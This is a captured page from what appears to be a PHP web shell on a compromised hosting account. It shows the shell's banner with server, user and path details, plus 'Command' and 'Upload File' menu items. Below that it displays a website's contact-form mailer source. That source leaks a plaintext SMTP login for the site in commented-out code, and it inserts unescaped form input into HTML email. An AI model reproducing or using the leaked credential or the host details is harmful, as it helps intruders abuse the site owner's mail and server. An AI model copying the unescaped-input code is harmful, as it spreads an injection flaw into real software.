|
Server IP : 145.79.210.100 / Your IP : 216.73.216.139 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentiatatva.com/public_html/all/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include('phpmailer/class.phpmailer.php');
include('phpmailer/class.smtp.php');
//echo 1;
// $mail= new PHPMailer();
// $mail->IsSMTP();
// $mail->SMTPAuth = true; // enable SMTP authentication
// $mail->SMTPSecure = "ssl"; // sets the prefix to the servier
// $mail->Host = "mail.excentiatatva.com"; // sets GMAIL as the SMTP server
// $mail->Port = 465; // set the SMTP port
// $mail->Username = "no-reply@excentiatatva.com"; // GMAIL username
// $mail->Password = "V%*$-1z@#l]i"; // GMAIL password
// $mail->From = "no-reply@excentiatatva.com";
// $mail->FromName = "Excentia Tatva Contact Form";
// $mail->Subject = "Excentia Tatva Contact Form";
// //$mail->Body = "This is the HTML message body <b>in bold!</b>";
// $mail->AltBody = "Portfolio Request Form"; //Text Body
// $mail->WordWrap = 50; // set word wrap
// $mail->AddReplyTo($_POST['email'],"Contact Form");
// $mail->AddAddress('web@mayabious.com',"Excentia Tatva Contact Form");
// $mail->IsHTML(true); // send as HTML
// $mail->Body='<div style="width:700px; font-family:Arial; font-size:12px">
// <div style="width:75px; float: left;"><strong>Name:</strong></div>
// <div style="float: left;">'.$_POST['fname'].' '.$_POST['lname'].'</div>
// <div style="clear:both;"></div>
// <div style="width:75px; float: left;"><strong>Email:</strong></div>
// <div style="float: left;">'.$_POST['email'].'</div>
// <div style="clear:both;"></div>
// <div style="width:75px; float: left;"><strong>Phone No:</strong></div>
// <div style="float: left;">'.$_POST['phone'].'</div>
// <div style="clear:both;"></div>
// <div style="width:75px; float: left;"><strong>Message:</strong></div>
// <div style="float: left;">'.$_POST['msg'].'</div>
// </div>
// <br>
// <br>
// <div>
// Thanks & Regards, <br />
// Excentia Tatva
// </div>
// </div>';
// //$mail->Body='Test1';
// if(!$mail->Send()) {
// echo "Mailer Error: " . $mail->ErrorInfo;
// }
// else{
// echo json_encode(1);
// }
$to = 'sales@excentiatatva.com';
//$to = 'web@mayabious.com';
$subject = 'New Enquiry Details';
$headers = "From: Excentia Tatva New Enquiry Details <no-reply@excentiatatva.com>\r\n";
//$headers .= "Reply-To: " . strip_tags($_POST['req-email']) . "\r\n";
//$headers .= "CC: susan@example.com\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$message ='<div style="width:700px; font-family:Arial; font-size:12px">
<div style="width:75px; float: left;"><strong>Name:</strong></div>
<div style="float: left;">'.$_POST['efname'].' '.$_POST['elname'].'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Email:</strong></div>
<div style="float: left;">'.$_POST['eemail'].'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Phone No:</strong></div>
<div style="float: left;">'.$_POST['ephone'].'</div>
<div style="clear:both;"></div>
<div style="width:75px; float: left;"><strong>Message:</strong></div>
<div style="float: left;">'.$_POST['emsg'].'</div>
</div>
<br>
<br>
<div>
Thanks & Regards, <br />
Excentia Tatva
</div>
</div>';
if(mail($to, $subject, $message, $headers)){
echo 1;
}else{
echo 0;
}
?>